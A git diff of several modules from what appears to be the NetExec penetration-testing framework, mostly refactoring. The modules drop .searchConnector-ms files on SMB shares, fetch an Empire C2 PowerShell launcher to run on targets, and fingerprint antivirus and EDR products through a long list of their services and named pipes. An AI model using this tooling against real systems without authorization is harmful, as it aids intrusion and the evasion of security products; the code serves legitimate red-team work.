@@ -74,13 +70,12 @@ class NXCModule:
|
||||
with open(self.scfile_path, "rb") as scfile:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.file_path, scfile.read)
|
||||
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share")
|
||||
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.exception(e)
|
||||
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}")
|
||||
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file on the {share['name']} share: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share")
|
||||
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}")
|
||||
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms file on share {share['name']}: {e}")
|
||||
@@ -1,15 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import sys
|
||||
import requests
|
||||
from requests import ConnectionError
|
||||
|
||||
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -38,7 +30,7 @@ class NXCModule:
|
||||
|
||||
api_proto = "https" if "SSL" in module_options else "http"
|
||||
|
||||
obfuscate = True if "OBFUSCATE" in module_options else False
|
||||
obfuscate = "OBFUSCATE" in module_options
|
||||
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
|
||||
default_obfuscation = "Token,All,1"
|
||||
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
|
||||
@@ -100,7 +92,7 @@ class NXCModule:
|
||||
verify=False,
|
||||
)
|
||||
except ConnectionError:
|
||||
context.log.fail(f"Unable to request stager from Empire's RESTful API")
|
||||
context.log.fail("Unable to request stager from Empire's RESTful API")
|
||||
sys.exit(1)
|
||||
|
||||
if stager_response.status_code not in [200, 201]:
|
||||
@@ -111,7 +103,6 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
context.log.debug(f"Response Code: {stager_response.status_code}")
|
||||
# context.log.debug(f"Response Content: {stager_response.text}")
|
||||
|
||||
stager_create_data = stager_response.json()
|
||||
context.log.debug(f"Stager data: {stager_create_data}")
|
||||
@@ -123,14 +114,13 @@ class NXCModule:
|
||||
verify=False,
|
||||
)
|
||||
context.log.debug(f"Response Code: {download_response.status_code}")
|
||||
# context.log.debug(f"Response Content: {download_response.text}")
|
||||
|
||||
self.empire_launcher = download_response.text
|
||||
|
||||
if download_response.status_code == 200:
|
||||
context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'")
|
||||
else:
|
||||
context.log.fail(f"Something went wrong when retrieving stager Powershell command")
|
||||
context.log.fail("Something went wrong when retrieving stager Powershell command")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.empire_launcher:
|
||||
|
||||
+172
-344
@@ -1,12 +1,11 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# All credit to @an0n_r0
|
||||
# project : https://github.com/tothi/serviceDetector
|
||||
# https://github.com/tothi/serviceDetector
|
||||
# Module by @mpgn_x64
|
||||
# https://twitter.com/mpgn_x64
|
||||
|
||||
from impacket.dcerpc.v5 import lsat, lsad
|
||||
from impacket.dcerpc.v5 import lsat, lsad, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
import pathlib
|
||||
|
||||
|
||||
@@ -27,82 +26,83 @@ class NXCModule:
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
pass
|
||||
"""
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
success = 0
|
||||
target = self._get_target(connection)
|
||||
context.log.debug(f"Detecting installed services on {target} using LsarLookupNames()...")
|
||||
|
||||
results = self._detect_installed_services(context, connection, target)
|
||||
self.detect_running_processes(context, connection, results)
|
||||
|
||||
self.dump_results(results, context)
|
||||
|
||||
def _get_target(self, connection):
|
||||
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
|
||||
|
||||
def _detect_installed_services(self, context, connection, target):
|
||||
results = {}
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target))
|
||||
|
||||
try:
|
||||
lsa = LsaLookupNames(
|
||||
connection.domain,
|
||||
connection.username,
|
||||
connection.password,
|
||||
target,
|
||||
connection.kerberos,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey,
|
||||
domain=connection.domain,
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
remote_name=target,
|
||||
do_kerberos=connection.kerberos,
|
||||
remoteHost=connection.host,
|
||||
kdcHost=connection.kdcHost,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey
|
||||
)
|
||||
dce, rpctransport = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
|
||||
for i, product in enumerate(conf["products"]):
|
||||
dce, _ = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
try:
|
||||
lsa.LsarLookupNames(dce, policyHandle, service["name"])
|
||||
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
|
||||
if product["name"] not in results:
|
||||
results[product["name"]] = {"services": []}
|
||||
results[product["name"]]["services"].append(service)
|
||||
except Exception as e:
|
||||
results.setdefault(product["name"], {"services": []})["services"].append(service)
|
||||
except Exception:
|
||||
pass
|
||||
success += 1
|
||||
except Exception as e:
|
||||
context.log.fail(str(e))
|
||||
return results
|
||||
|
||||
def detect_running_processes(self, context, connection, results):
|
||||
context.log.info(f"Detecting running processes on {connection.host} by enumerating pipes...")
|
||||
try:
|
||||
for f in connection.conn.listPath("IPC$", "\\*"):
|
||||
fl = f.get_longname()
|
||||
for i, product in enumerate(conf["products"]):
|
||||
for product in conf["products"]:
|
||||
for pipe in product["pipes"]:
|
||||
if pathlib.PurePath(fl).match(pipe["name"]):
|
||||
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
if product["name"] not in results:
|
||||
results[product["name"]] = {}
|
||||
if "pipes" not in results[product["name"]]:
|
||||
results[product["name"]]["pipes"] = []
|
||||
results[product["name"]]["pipes"].append(pipe)
|
||||
success += 1
|
||||
context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
prod_results = results.setdefault(product["name"], {})
|
||||
prod_results.setdefault("pipes", []).append(pipe)
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
|
||||
self.dump_results(results, connection.hostname, success, context)
|
||||
def dump_results(self, results, context):
|
||||
if not results:
|
||||
context.log.highlight("Found NOTHING!")
|
||||
return
|
||||
|
||||
def dump_results(self, results, remoteName, success, context):
|
||||
# out1 = "On host {} found".format(remoteName)
|
||||
out1 = ""
|
||||
for item in results:
|
||||
out = out1
|
||||
if "services" in results[item]:
|
||||
out += f"{item} INSTALLED"
|
||||
if "pipes" in results[item]:
|
||||
out += " and it seems to be RUNNING"
|
||||
# else:
|
||||
# for product in conf['products']:
|
||||
# if (item == product['name']) and (len(product['pipes']) == 0):
|
||||
# out += " (NamedPipe for this service was not provided in config)"
|
||||
elif "pipes" in results[item]:
|
||||
out += f" {item} RUNNING"
|
||||
context.log.highlight(out)
|
||||
if (len(results) < 1) and (success > 1):
|
||||
out = out1 + " NOTHING!"
|
||||
context.log.highlight(out)
|
||||
for item, data in results.items():
|
||||
message = f"Found {item}"
|
||||
if "services" in data:
|
||||
message += " INSTALLED"
|
||||
if "pipes" in data:
|
||||
message += " and RUNNING"
|
||||
elif "pipes" in data:
|
||||
message += " RUNNING"
|
||||
context.log.highlight(message)
|
||||
|
||||
|
||||
class LsaLookupNames:
|
||||
@@ -121,7 +121,8 @@ class LsaLookupNames:
|
||||
username="",
|
||||
password="",
|
||||
remote_name="",
|
||||
k=False,
|
||||
do_kerberos=False,
|
||||
remoteHost="",
|
||||
kdcHost="",
|
||||
lmhash="",
|
||||
nthash="",
|
||||
@@ -132,11 +133,12 @@ class LsaLookupNames:
|
||||
self.password = password
|
||||
self.remoteName = remote_name
|
||||
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
|
||||
self.doKerberos = k
|
||||
self.doKerberos = do_kerberos
|
||||
self.lmhash = lmhash
|
||||
self.nthash = nthash
|
||||
self.aesKey = aesKey
|
||||
self.dcHost = kdcHost
|
||||
self.kdcHost = kdcHost
|
||||
self.remoteHost = remoteHost
|
||||
|
||||
def connect(self, string_binding=None, iface_uuid=None):
|
||||
"""Obtains a RPC Transport and a DCE interface according to the bindings and
|
||||
@@ -146,9 +148,10 @@ class LsaLookupNames:
|
||||
"""
|
||||
string_binding = string_binding or self.string_binding
|
||||
if not string_binding:
|
||||
raise NotImplemented("String binding must be defined")
|
||||
raise NotImplementedError("String binding must be defined")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.remoteHost)
|
||||
|
||||
# Set timeout if defined
|
||||
if self.timeout:
|
||||
@@ -160,14 +163,13 @@ class LsaLookupNames:
|
||||
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
|
||||
|
||||
if self.doKerberos:
|
||||
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
|
||||
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
|
||||
|
||||
# Gets the DCE RPC object
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
|
||||
# Set the authentication level
|
||||
if self.authn_level:
|
||||
dce.set_auth_level(self.authn_level)
|
||||
if self.doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
# Connect
|
||||
dce.connect()
|
||||
@@ -197,81 +199,65 @@ class LsaLookupNames:
|
||||
request["PolicyHandle"] = policyHandle
|
||||
request["Count"] = 1
|
||||
name1 = RPC_UNICODE_STRING()
|
||||
name1["Data"] = "NT Service\{}".format(service)
|
||||
name1["Data"] = f"NT Service\\{service}"
|
||||
request["Names"].append(name1)
|
||||
request["TranslatedSids"]["Sids"] = NULL
|
||||
request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
|
||||
resp = dce.request(request)
|
||||
return resp
|
||||
return dce.request(request)
|
||||
|
||||
|
||||
conf = {
|
||||
"products": [
|
||||
{
|
||||
"name": "Acronis Cyber Protect Active Protection",
|
||||
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Bitdefender",
|
||||
"services": [
|
||||
{
|
||||
"name": "bdredline_agent",
|
||||
"description": "Bitdefender Agent RedLine Service",
|
||||
},
|
||||
{"name": "bdredline_agent", "description": "Bitdefender Agent RedLine Service"},
|
||||
{"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"},
|
||||
{
|
||||
"name": "UPDATESRV",
|
||||
"description": "Bitdefender Desktop Update Service",
|
||||
},
|
||||
{"name": "UPDATESRV", "description": "Bitdefender Desktop Update Service"},
|
||||
{"name": "VSSERV", "description": "Bitdefender Virus Shield"},
|
||||
{"name": "bdredline", "description": "Bitdefender RedLine Service"},
|
||||
{"name": "EPRedline", "description": "Bitdefender Endpoint Redline Service"},
|
||||
{"name": "EPUpdateService", "description": "Bitdefender Endpoint Update Service"},
|
||||
{"name": "EPSecurityService", "description": "Bitdefender Endpoint Security Service"},
|
||||
{"name": "EPProtectedService", "description": "Bitdefender Endpoint Protected Service"},
|
||||
{"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"},
|
||||
{"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe",
|
||||
"processes": ["EPConsole.exe"],
|
||||
},
|
||||
{
|
||||
"name": "etw_sensor_pipe_ppl",
|
||||
"processes": ["EPProtectedService.exe"],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\antitracker.low\\*",
|
||||
"processes": ["bdagent.exe"],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\aspam.actions.low\\*",
|
||||
"processes": ["bdagent.exe"],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\bd.process.broker.pipe",
|
||||
"processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"],
|
||||
},
|
||||
{"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe", "processes": ["EPConsole.exe"]},
|
||||
{"name": "etw_sensor_pipe_ppl", "processes": ["EPProtectedService.exe"]},
|
||||
{"name": "local\\msgbus\\antitracker.low\\*", "processes": ["bdagent.exe"]},
|
||||
{"name": "local\\msgbus\\aspam.actions.low\\*", "processes": ["bdagent.exe"]},
|
||||
{"name": "local\\msgbus\\bd.process.broker.pipe", "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"]},
|
||||
{"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]},
|
||||
{
|
||||
"name": "local\\msgbus\\bdauxsrv",
|
||||
"processes": ["bdagent.exe", "bdntwrk.exe"],
|
||||
},
|
||||
],
|
||||
{"name": "local\\msgbus\\bdauxsrv", "processes": ["bdagent.exe", "bdntwrk.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Windows Defender",
|
||||
"name": "Carbon Black App Control",
|
||||
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "CrowdStrike",
|
||||
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
|
||||
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
|
||||
},
|
||||
{
|
||||
"name": "Cybereason",
|
||||
"services": [
|
||||
{
|
||||
"name": "WinDefend",
|
||||
"description": "Windows Defender Antivirus Service",
|
||||
},
|
||||
{
|
||||
"name": "Sense",
|
||||
"description": "Windows Defender Advanced Threat Protection Service",
|
||||
},
|
||||
{
|
||||
"name": "WdNisSvc",
|
||||
"description": "Windows Defender Antivirus Network Inspection Service",
|
||||
},
|
||||
{"name": "CybereasonActiveProbe", "description": "Cybereason Active Probe"},
|
||||
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
|
||||
{"name": "CybereasonBlocki", "description": "Cybereason Execution Prevention"}
|
||||
],
|
||||
"pipes": [],
|
||||
"pipes": [
|
||||
{"name": "CybereasonAPConsoleMinionHostIpc_*", "processes": ["minionhost.exe"]},
|
||||
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "ESET",
|
||||
@@ -280,274 +266,116 @@ conf = {
|
||||
{"name": "epfw", "description": "ESET"},
|
||||
{"name": "epfwlwf", "description": "ESET"},
|
||||
{"name": "epfwwfp", "description": "ESET"},
|
||||
{"name": "EraAgentSvc", "description": "ESET"},
|
||||
{"name": "EraAgentSvc", "description": "ESET Management Agent service"},
|
||||
{"name": "ERAAgent", "description": "ESET Management Agent service"},
|
||||
{"name": "efwd", "description": "ESET Communication Forwarding Service"},
|
||||
{"name": "ehttpsrv", "description": "ESET HTTP Server"},
|
||||
],
|
||||
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
|
||||
},
|
||||
{
|
||||
"name": "CrowdStrike",
|
||||
"name": "G DATA Security Client",
|
||||
"services": [
|
||||
{
|
||||
"name": "CSFalconService",
|
||||
"description": "CrowdStrike Falcon Sensor Service",
|
||||
}
|
||||
{"name": "AVKWCtl", "description": "Anti-virus Kit Window Control"},
|
||||
{"name": "AVKProxy", "description": "G Data AntiVirus Proxy Service"},
|
||||
{"name": "GDScan", "description": "GDSG Data AntiVirus Scan Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "CrowdStrike\\{*",
|
||||
"processes": ["CSFalconContainer.exe", "CSFalconService.exe"],
|
||||
}
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "SentinelOne",
|
||||
"services": [
|
||||
{
|
||||
"name": "SentinelAgent",
|
||||
"description": "SentinelOne Endpoint Protection Agent",
|
||||
},
|
||||
{
|
||||
"name": "SentinelStaticEngine",
|
||||
"description": "Manage static engines for SentinelOne Endpoint Protection",
|
||||
},
|
||||
{
|
||||
"name": "LogProcessorService",
|
||||
"description": "Manage logs for SentinelOne Endpoint Protection",
|
||||
},
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
|
||||
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
|
||||
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]},
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "Carbon Black App Control",
|
||||
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
|
||||
"pipes": [],
|
||||
},
|
||||
{
|
||||
"name": "Cybereason",
|
||||
"services": [
|
||||
{
|
||||
"name": "CybereasonActiveProbe",
|
||||
"description": "Cybereason Active Probe",
|
||||
},
|
||||
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
|
||||
{
|
||||
"name": "CybereasonBlocki",
|
||||
"description": "Cybereason Execution Prevention",
|
||||
},
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "CybereasonAPConsoleMinionHostIpc_*",
|
||||
"processes": ["minionhost.exe"],
|
||||
},
|
||||
{
|
||||
"name": "CybereasonAPServerProxyIpc_*",
|
||||
"processes": ["minionhost.exe"],
|
||||
},
|
||||
],
|
||||
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Kaspersky Security for Windows Server",
|
||||
"services": [
|
||||
{
|
||||
"name": "kavfsslp",
|
||||
"description": "Kaspersky Security Exploit Prevention Service",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "KAVFS",
|
||||
"description": "Kaspersky Security Service",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "KAVFSGT",
|
||||
"description": "Kaspersky Security Management Service",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "klnagent",
|
||||
"description": "Kaspersky Security Center",
|
||||
},
|
||||
{"name": "kavfsslp", "description": "Kaspersky Security Exploit Prevention Service"},
|
||||
{"name": "KAVFS", "description": "Kaspersky Security Service"},
|
||||
{"name": "KAVFSGT", "description": "Kaspersky Security Management Service"},
|
||||
{"name": "klnagent", "description": "Kaspersky Security Center"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "Exploit_Blocker",
|
||||
"processes": ["kavfswh.exe"],
|
||||
},
|
||||
|
||||
],
|
||||
},
|
||||
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trend Micro Endpoint Security",
|
||||
"name": "Panda Adaptive Defense 360",
|
||||
"services": [
|
||||
{
|
||||
"name": "Trend Micro Endpoint Basecamp",
|
||||
"description": "Trend Micro Endpoint Basecamp",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "TMBMServer",
|
||||
"description": "Trend Micro Unauthorized Change Prevention Service",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "Trend Micro Web Service Communicator",
|
||||
"description": "Trend Micro Web Service Communicator",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "TMiACAgentSvc",
|
||||
"description": "Trend Micro Application Control Service (Agent)",
|
||||
},
|
||||
{
|
||||
"name": "CETASvc",
|
||||
"description": "Trend Micro Cloud Endpoint Telemetry Service",
|
||||
},
|
||||
{
|
||||
|
||||
"name": "iVPAgent",
|
||||
"description": "Trend Micro Vulnerability Protection Service (Agent)",
|
||||
}
|
||||
{"name": "PandaAetherAgent", "description": "Panda Endpoint Agent"},
|
||||
{"name": "PSUAService", "description": "Panda Product Service"},
|
||||
{"name": "NanoServiceMain", "description": "Panda Cloud Antivirus Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "IPC_XBC_XBC_AGENT_PIPE_*",
|
||||
"processes": ["EndpointBasecamp.exe"],
|
||||
},
|
||||
{
|
||||
"name": "iacagent_*",
|
||||
"processes": ["TMiACAgentSvc.exe"],
|
||||
},
|
||||
{
|
||||
"name": "OIPC_LWCS_PIPE_*",
|
||||
"processes": ["TmListen.exe"],
|
||||
},
|
||||
{
|
||||
"name": "Log_ServerNamePipe",
|
||||
"processes": ["LogServer.exe"],
|
||||
},
|
||||
{
|
||||
"name": "OIPC_NTRTSCAN_PIPE_*",
|
||||
"processes": ["Ntrtscan.exe"],
|
||||
},
|
||||
{"name": "NNS_API_IPC_SRV_ENDPOINT", "processes": ["PSANHost.exe"]},
|
||||
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "SentinelOne",
|
||||
"services": [
|
||||
{"name": "SentinelAgent", "description": "SentinelOne Endpoint Protection Agent"},
|
||||
{"name": "SentinelStaticEngine", "description": "Manage static engines for SentinelOne Endpoint Protection"},
|
||||
{"name": "LogProcessorService", "description": "Manage logs for SentinelOne Endpoint Protection"}
|
||||
],
|
||||
},
|
||||
"pipes": [
|
||||
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
|
||||
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
|
||||
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Symantec Endpoint Protection",
|
||||
"services": [
|
||||
{
|
||||
"name": "SepMasterService",
|
||||
"description": "Symantec Endpoint Protection",
|
||||
},
|
||||
{
|
||||
"name": "SepScanService",
|
||||
"description": "Symantec Endpoint Protection Scan Services",
|
||||
},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"},
|
||||
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
|
||||
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"}
|
||||
],
|
||||
"pipes": [],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Sophos Intercept X",
|
||||
"services": [
|
||||
{
|
||||
"name": "SntpService",
|
||||
"description": "Sophos Network Threat Protection"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Endpoint Defense Service",
|
||||
"description": "Sophos Endpoint Defense Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos File Scanner Service",
|
||||
"description": "Sophos File Scanner Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Health Service",
|
||||
"description": "Sophos Health Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Live Query",
|
||||
"description": "Sophos Live Query"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Managed Threat Response",
|
||||
"description": "Sophos Managed Threat Response"
|
||||
},
|
||||
{
|
||||
"name": "Sophos MCS Agent",
|
||||
"description": "Sophos MCS Agent"
|
||||
},
|
||||
{
|
||||
"name": "Sophos MCS Client",
|
||||
"description": "Sophos MCS Client"
|
||||
},
|
||||
{
|
||||
"name": "Sophos System Protection Service",
|
||||
"description": "Sophos System Protection Service"
|
||||
}
|
||||
{"name": "SntpService", "description": "Sophos Network Threat Protection"},
|
||||
{"name": "Sophos Endpoint Defense Service", "description": "Sophos Endpoint Defense Service"},
|
||||
{"name": "Sophos File Scanner Service", "description": "Sophos File Scanner Service"},
|
||||
{"name": "Sophos Health Service", "description": "Sophos Health Service"},
|
||||
{"name": "Sophos Live Query", "description": "Sophos Live Query"},
|
||||
{"name": "Sophos Managed Threat Response", "description": "Sophos Managed Threat Response"},
|
||||
{"name": "Sophos MCS Agent", "description": "Sophos MCS Agent"},
|
||||
{"name": "Sophos MCS Client", "description": "Sophos MCS Client"},
|
||||
{"name": "Sophos System Protection Service", "description": "Sophos System Protection Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "SophosUI", "processes": [""]},
|
||||
{"name": "SophosEventStore", "processes": [""]},
|
||||
{"name": "sophos_deviceencryption", "processes": [""]},
|
||||
{"name": "sophoslivequery_*", "processes": [""]},
|
||||
],
|
||||
{"name": "sophoslivequery_*", "processes": [""]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "G DATA Security Client",
|
||||
"name": "Trend Micro Endpoint Security",
|
||||
"services": [
|
||||
{
|
||||
"name": "AVKWCtl",
|
||||
"description": "Anti-virus Kit Window Control",
|
||||
},
|
||||
{
|
||||
"name": "AVKProxy",
|
||||
"description": "G Data AntiVirus Proxy Service"
|
||||
},
|
||||
{
|
||||
"name": "GDScan",
|
||||
"description": "GDSG Data AntiVirus Scan Service",
|
||||
},
|
||||
{"name": "Trend Micro Endpoint Basecamp", "description": "Trend Micro Endpoint Basecamp"},
|
||||
{"name": "TMBMServer", "description": "Trend Micro Unauthorized Change Prevention Service"},
|
||||
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
|
||||
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
|
||||
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
|
||||
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "exploitProtectionIPC",
|
||||
"processes": ["AVKWCtlx64.exe"],
|
||||
},
|
||||
],
|
||||
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
|
||||
{"name": "iacagent_*", "processes": ["TMiACAgentSvc.exe"]},
|
||||
{"name": "OIPC_LWCS_PIPE_*", "processes": ["TmListen.exe"]},
|
||||
{"name": "Log_ServerNamePipe", "processes": ["LogServer.exe"]},
|
||||
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Panda Adaptive Defense 360",
|
||||
"name": "Windows Defender",
|
||||
"services": [
|
||||
{
|
||||
"name": "PandaAetherAgent",
|
||||
"description": "Panda Endpoint Agent",
|
||||
},
|
||||
{
|
||||
"name": "PSUAService",
|
||||
"description": "Panda Product Service"
|
||||
},
|
||||
{
|
||||
"name": "NanoServiceMain",
|
||||
"description": "Panda Cloud Antivirus Service",
|
||||
},
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "NNS_API_IPC_SRV_ENDPOINT",
|
||||
"processes": ["PSANHost.exe"],
|
||||
},
|
||||
{
|
||||
"name": "PSANMSrvcPpal",
|
||||
"processes": ["PSUAService.exe"],
|
||||
},
|
||||
{"name": "WinDefend", "description": "Windows Defender Antivirus Service"},
|
||||
{"name": "Sense", "description": "Windows Defender Advanced Threat Protection Service"},
|
||||
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
|
||||
],
|
||||
"pipes": []
|
||||
}
|
||||
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
from impacket.http import AUTH_NTLM
|
||||
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket import uuid
|
||||
import requests
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
-------
|
||||
Module by @0xjbb, original code from Impacket rpcdump.py
|
||||
"""
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
|
||||
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
593: {"bindstr": r"ncacn_http:%s"}
|
||||
}
|
||||
|
||||
name = "enum_ca"
|
||||
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
